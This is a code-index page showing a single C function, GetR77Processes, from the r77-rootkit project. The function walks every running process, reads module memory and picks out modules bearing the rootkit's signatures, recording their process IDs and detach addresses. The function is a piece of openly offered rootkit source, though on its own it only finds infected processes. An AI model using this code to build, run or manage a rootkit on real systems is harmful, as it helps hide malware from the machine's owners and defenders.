MCPcopy Index your code
hub / github.com/bytecode77/r77-rootkit / GetR77Processes

Function GetR77Processes

r77api/r77process.c:111–169  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

109}
110
111BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count)
112{
113 BOOL result = TRUE;
114 DWORD actualCount = 0;
115
116 LPDWORD processes = NEW_ARRAY(DWORD, 10000);
117 DWORD processCount = 0;
118 HMODULE *modules = NEW_ARRAY(HMODULE, 10000);
119 DWORD moduleCount = 0;
120 BYTE moduleBytes[10];
121
122 if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount))
123 {
124 processCount /= sizeof(DWORD);
125
126 for (DWORD i = 0; i < processCount; i++)
127 {
128 HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]);
129 if (process)
130 {
131 if (EnumProcessModulesEx(process, modules, 10000 * sizeof(HMODULE), &moduleCount, LIST_MODULES_ALL))
132 {
133 moduleCount /= sizeof(HMODULE);
134
135 for (DWORD j = 0; j < moduleCount; j++)
136 {
137 if (ReadProcessMemory(process, &((LPBYTE)modules[j])[R77_HEADER_OFFSET], moduleBytes, 10, NULL))
138 {
139 WORD signature = *(LPWORD)moduleBytes;
140 if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE)
141 {
142 if (actualCount < *count)
143 {
144 r77Processes[actualCount].ProcessId = processes[i];
145 r77Processes[actualCount].Signature = signature;
146 r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE ? *(DWORD64*)&moduleBytes[2] : 0;
147 }
148 else
149 {
150 result = FALSE;
151 }
152
153 break;
154 }
155 }
156 }
157 }
158
159 CloseHandle(process);
160 }
161 }
162 }
163
164 FREE(processes);
165 FREE(modules);
166
167 *count = actualCount;
168 return result;

Callers 4

DetachR77ServiceFunction · 0.85
GetProcessListFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected